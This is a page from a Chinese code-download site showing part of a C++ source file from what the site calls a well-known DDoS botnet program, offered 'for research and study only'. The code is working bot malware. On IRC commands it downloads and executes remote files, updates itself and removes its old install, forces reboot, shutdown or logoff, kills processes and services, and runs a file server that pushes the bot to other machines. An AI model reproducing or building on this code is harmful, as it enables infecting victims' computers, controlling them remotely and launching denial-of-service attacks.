⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 utility.cpp.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
📖 第 1 页 / 共 5 页
字号:
	// If the path is empty, create a random one
#ifdef _WIN32	if(!m_sPath.Compare("")) {
		char szTempPath[MAX_PATH];
		GetTempPath(sizeof(szTempPath), szTempPath);
		strncat(szTempPath, "\\", sizeof(szTempPath));
		strncat(szTempPath, RndNick(""), sizeof(szTempPath));
		strncat(szTempPath, ".exe", sizeof(szTempPath));
		if(!Writable(szTempPath)) {
			GetSystemDirectory(szTempPath, sizeof(szTempPath));
			strncat(szTempPath, "\\", sizeof(szTempPath));
			strncat(szTempPath, RndNick(""), sizeof(szTempPath));
			strncat(szTempPath, ".exe", sizeof(szTempPath));
			if(!Writable(szTempPath)) {
				strcpy(szTempPath, "");
				strncat(szTempPath, "C:\\", sizeof(szTempPath));
				strncat(szTempPath, RndNick(""), sizeof(szTempPath));
				strncat(szTempPath, ".exe", sizeof(szTempPath));
				if(!Writable(szTempPath)) {
					strcpy(szTempPath, "");
					strncat(szTempPath, "D:\\", sizeof(szTempPath));
					strncat(szTempPath, RndNick(""), sizeof(szTempPath));
					strncat(szTempPath, ".exe", sizeof(szTempPath));
					if(!Writable(szTempPath)) {
						strcpy(szTempPath, "");
					}
				}
			}
		}

		if(!strcmp(szTempPath, "")) return NULL;
		m_sPath.Assign(szTempPath);
	}
#else	if(!m_sPath.Compare("")) {
		char szTempPath[MAX_PATH];
		strncat(szTempPath, "/tmp/", sizeof(szTempPath));
		strncat(szTempPath, RndNick(""), sizeof(szTempPath));
		if(!Writable(szTempPath)) {
			strcpy(szTempPath, "");
		}

		if(!strcmp(szTempPath, "")) return NULL;
		m_sPath.Assign(szTempPath);
	}
#endif // _WIN32
	if(m_bFTP) if(!m_sUser.Compare("") || !m_sPass.Compare("")) return NULL;
	// Get the port from the host, set it to default if none is specified
	int iPort=0; if(m_sHost.Token(1, ":").Compare("")) iPort=atoi(m_sHost.Token(1, ":").CStr());
	if(iPort==0) if(m_bFTP) iPort=21; else iPort=80;
	// Store only the ip/host in m_sHost
	CString sTemp(m_sHost.Token(0, ":")); m_sHost.Assign(sTemp);
	// Expand environment variables if compiled on Win32
#ifdef WIN32
	char szTemp[MAX_PATH]; ExpandEnvironmentStrings(m_sTarget.CStr(), szTemp, MAX_PATH); m_sTarget.Assign(szTemp);
#endif

	if(m_bFTP)
	{	netbuf *nControl; FtpInit();
		if(!FtpConnect(m_sHost.CStr(), &nControl))
		{	g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to ftp.", m_sReplyTo);
			return NULL; }
		if(!FtpLogin(m_sUser.CStr(), m_sPass.CStr(), nControl))
		{	g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to login to ftp.", m_sReplyTo);
			return NULL; }
		g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);
		if(!FtpGet(m_sTarget.CStr(), m_sPath.CStr(), FTPLIB_IMAGE, nControl))
		{	g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to download from ftp.", m_sReplyTo);
			return NULL; }
		FtpQuit(nControl); }
	else
	{	CSocket sSocket; int d; CString sSendBuf, sReply;

		if(!sSocket.Connect(m_sHost.CStr(), iPort))
		{	g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Unable to connect to http.", m_sReplyTo);
			return NULL; }

		sSendBuf.Format("GET %s HTTP/1.0\r\nConnection: Keep-Alive\r\nUser-Agent: Mozilla/4.75 [en]\r\nHost: %s:%d\r\n\r\n", m_sPath.CStr(), m_sHost.CStr(), iPort);
		sSocket.Write(sSendBuf.CStr(), sSendBuf.GetLength());
		g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Receiving file.", m_sReplyTo);

		FILE *file=fopen(m_sTarget.CStr(),"wb");
		if(!file) { g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "Failed to open file.", m_sReplyTo); return NULL; }
		
		char szBuf[4096];
		while(true)
		{	int i; sSocket.Recv(szBuf, 4096, &i);
			if(i<=0) break; if(i<4096) szBuf[i]=0;
			for(d=0;d<i;d++) if(!strncmp(szBuf+d,"\r\n\r\n",4))
			{	for (d+=4;d<i;d++) fputc(szBuf[d],file);
				goto done_http; } }
done_http:
		while(true)
		{	int i; sSocket.Recv(szBuf, 4096, &i);
			if(i<=0) break; if(i<4096) szBuf[i]=0;
			for(d=0;d<i;d++) fputc(szBuf[d],file); }

		fclose(file);
		sSocket.Disconnect();
	}

	if(!m_bUpdate)
	{	//download isn't an update
		g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished.", m_sTarget.CStr());
		
		if(m_bExecute)
		{	Execute(m_sTarget.CStr(), "");
			g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "opened %s.", m_sTarget.CStr()); } }
	else
	{	//download is an update
		g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo, "download to %s finished, updating...", m_sTarget.CStr());

		if(CreateProc(m_sTarget.Str(), "-update"))
		{	// successful update, remove and exit
#ifdef WIN32
			if(g_pMainCtrl->m_cBot.as_enabled.bValue)
				g_pMainCtrl->m_cInstaller.RegStartDel(g_pMainCtrl->m_cBot.as_valname.sValue);
			if(g_pMainCtrl->m_cBot.as_service.bValue)
				ServiceDel(g_pMainCtrl->m_cBot.as_service_name.sValue);
#endif
			g_pMainCtrl->m_cInstaller.Uninstall(); g_pMainCtrl->m_bRunning=false; exit(1); }
		else
			g_pMainCtrl->m_cIRC.SendMsg(m_bSilent, m_bNotice, "update failed: error executing file.", m_sReplyTo.Str()); }

	return NULL; }

void CRSLControl::Init() {
	REGCMD(m_cmdReboot,		"rsl.reboot",	"reboots the computer",		false,	this);
	REGCMD(m_cmdShutdown,	"rsl.shutdown",	"shuts the computer down",	false,	this);
	REGCMD(m_cmdLogoff,		"rsl.logoff",	"logs the user off",		false,	this);
}

bool CRSLControl::HandleCommand(CMessage *pMsg) {
	if(!pMsg->sCmd.Compare("rsl.reboot")) {
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
			"rebooting...");
#ifdef WIN32
		ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0);
#else
		system("reboot");
#endif // WIN32
	} else if(!pMsg->sCmd.Compare("rsl.shutdown")) {
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
			"shutting down...");
#ifdef WIN32
		ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
#else
		system("shutdown");
#endif // WIN32
	} else if(!pMsg->sCmd.Compare("rsl.logoff")) {
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, \
			"logging off...");
#ifdef WIN32
		ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
#else
		system("init 1");
#endif // WIN32
	}

	return false; }

void CProcessControl::Init() {
	REGCMD(m_cmdList,	"pctrl.list",	"lists all processes",	false,	this);
	REGCMD(m_cmdKill,	"pctrl.kill",	"kills a process",		false,	this);
	REGCMD(m_cmdListSvc,"pctrl.listsvc","lists all services",   false,  this);
	REGCMD(m_cmdKillSvc,"pctrl.killsvc","deletes/stops service",false,  this);
	REGCMD(m_cmdKillPid,"pctrl.killpid","kills a pid",			false,  this);
}

bool CProcessControl::HandleCommand(CMessage *pMsg) {
	if(!pMsg->sCmd.Compare("pctrl.list")) {
#ifdef _WIN32
		list<process_info> lProcesses; if(ListProcesses(&lProcesses)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ process list ]-", pMsg->sReplyTo.Str());
			list<process_info>::iterator ip; int iCount=0;
			for(ip=lProcesses.begin(); ip!=lProcesses.end(); ++ip)
			{	iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(),
					"%d. / Pid: %d / \"%s\"", iCount, (*ip).lProcessPid, (*ip).sProcessName.CStr());
				Sleep(1500); }
		}
#endif // _WIN32
		return true;
	} else if(!pMsg->sCmd.Compare("pctrl.kill")) {
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		KillProcess(pMsg->sChatString.Token(1, " ").CStr());
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "killed process: %s",
			pMsg->sChatString.Token(1, " ").Str());
		return true;
	} else if(!pMsg->sCmd.Compare("pctrl.listsvc")) {
#ifdef _WIN32
		list<CString> lServices; if(ListServices(&lServices)) {
			g_pMainCtrl->m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "-[ service list ]-", pMsg->sReplyTo.Str());
			list<CString>::iterator ip; int iCount=0;
			for(ip=lServices.begin(); ip!=lServices.end(); ++ip)
			{	iCount++; g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "%d. / %s", \
					iCount, (*ip).CStr());
				Sleep(1500); }
		}
#endif // _WIN32
		return true;
	} else if(!pMsg->sCmd.Compare("pctrl.killsvc")) {
#ifdef _WIN32
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		KillService(pMsg->sChatString.Token(1, " ").CStr());
		g_pMainCtrl->m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo.Str(), "killed service: %s",
			pMsg->sChatString.Token(1, " ").Str());
#endif // _WIN32
		return true;
	} else if(!pMsg->sCmd.Compare("pctrl.killpid")) {
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false;
		unsigned long lPid=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!lPid) return false;
		return KillPid(lPid);
	}
	
	return false; }

void *CCmdExecutor::Run()
{	try {
		while(!m_bMsgSet) Sleep(1000);
		g_pMainCtrl->m_cBot.Recv(&m_mMsg, m_bInternal);
#ifdef PtW32CatchAll
	} PtW32CatchAll {
#else
	} catch(...) {
#endif
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(2, "CCmdExecutor: Exception in \"%s\".\n", m_mMsg.sChatString.CStr());
#endif // DBGCONSOLE
	}
	return NULL; }

void CCmdExecutor::Set(CMessage *pMsg, bool bInternal)
{	m_pMsg=pMsg; m_mMsg.bNotice=m_pMsg->bNotice; m_mMsg.bSilent=m_pMsg->bSilent;
	m_mMsg.bOutchan=m_pMsg->bOutchan; m_mMsg.sSrc.Assign(m_pMsg->sSrc); 
	m_mMsg.sIdentd.Assign(m_pMsg->sIdentd); m_mMsg.sHost.Assign(m_pMsg->sHost); m_mMsg.sDest.Assign(m_pMsg->sDest);
	m_mMsg.sChatString.Assign(m_pMsg->sChatString); m_bMsgSet=true; m_bInternal=bInternal; }

void *CSendFile::Run()
{	if(!m_sClientSocket) return NULL;

	unsigned char fileBuf[4096]; FILE *fp=NULL;

	// Get the remote ip via getpeername
	sockaddr sa; socklen_t sas=sizeof(sa); memset(&sa, 0, sizeof(sa)); m_sClientSocket->GetPeerName(&sa, &sas);
	// Break if the ip is 0.0.0.0
	if(!(unsigned char)sa.sa_data[2]) return NULL;

	if(g_pMainCtrl->m_cBot.scaninfo_level.iValue>=2) {
		g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
			"CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
				(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]); }

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
			(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
	
	int count=4096; CString sFileName; GetFilename(sFileName.GetBuffer(4096), 4096);
	CString sOutFileName(sFileName);

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Trying to open %s.\n", this, sOutFileName.CStr());
#endif
	fp=fopen(sOutFileName.CStr(), "rb");
	if(fp) {
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Sending file...\n", this);
#endif
		fseek(fp, 0, SEEK_END); long filesize=ftell(fp); fseek(fp, 0, SEEK_SET);
		char *filesize1=(char*)&filesize; char fsbuf[4]; fsbuf[4]='\0';
		fsbuf[0]=(char)filesize1[0]; fsbuf[1]=(char)filesize1[1];
		fsbuf[2]=(char)filesize1[2]; fsbuf[3]=(char)filesize1[3];
		m_sClientSocket->Write((char*)fsbuf, sizeof(long));

		while(!feof(fp))
		{	memset(fileBuf, 0, sizeof(fileBuf));
			count=fread(fileBuf, sizeof(char), 4096, fp);
			if(ferror(fp)) break;
			m_sClientSocket->Write((char*)fileBuf, count); }

		if (g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 1)
		{
			g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
				"CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
					(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
		}
#ifdef DBGCONSOLE
		g_pMainCtrl->m_cConsDbg.Log(5, "CSendFile(0x%8.8Xh): Transfer to %d.%d.%d.%d finished.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
				(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
		fclose(fp); }
	m_sClientSocket->Disconnect(); delete m_sClientSocket; return NULL; }

void *CSendFileFTP::Run()
{	if(!m_sClientSocket) return NULL;

	unsigned char fileBuf[4096]; FILE *fp=NULL;

	// Get the remote ip via getpeername
	sockaddr sa; socklen_t sas=sizeof(sa); memset(&sa, 0, sizeof(sa)); m_sClientSocket->GetPeerName(&sa, &sas);
	// Break if the ip is 0.0.0.0
	if(!(unsigned char)sa.sa_data[2]) return NULL;

	if(g_pMainCtrl->m_cBot.scaninfo_level.iValue>=2) {
		g_pMainCtrl->m_cIRC.SendFormat(false, false, g_pMainCtrl->m_cBot.scaninfo_chan.sValue.Str(),
			"CSendFileFTP(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
				(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]); }

#ifdef DBGCONSOLE
	g_pMainCtrl->m_cConsDbg.Log(5, "CSendFileFTP(0x%8.8Xh): Connection from %d.%d.%d.%d accepted.\n", this, (unsigned char)sa.sa_data[2], (unsigned char)sa.sa_data[3], \
			(unsigned char)sa.sa_data[4], (unsigned char)sa.sa_data[5]);
#endif
	
	int count=4096; CString sFileName; GetFilename(sFileName.GetBuffer(4096), 4096);
	CString sOutFileName(sFileName);

	char szRecvBuf[2048]; bool bPasv=false;
	int iPort; char szIp[128]; unsigned short sPasvPort;
	CSocket sPasvListenSocket; CSocket sSendSocket;
		
#ifdef _WIN32	char *szWelcome="220 Bot Server (Win32)\r\n";
#else	char *szWelcome="220 Bot Server (Linux)\r\n";
#endif // _WIN32	m_sClientSocket->Write(szWelcome, strlen(szWelcome));

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -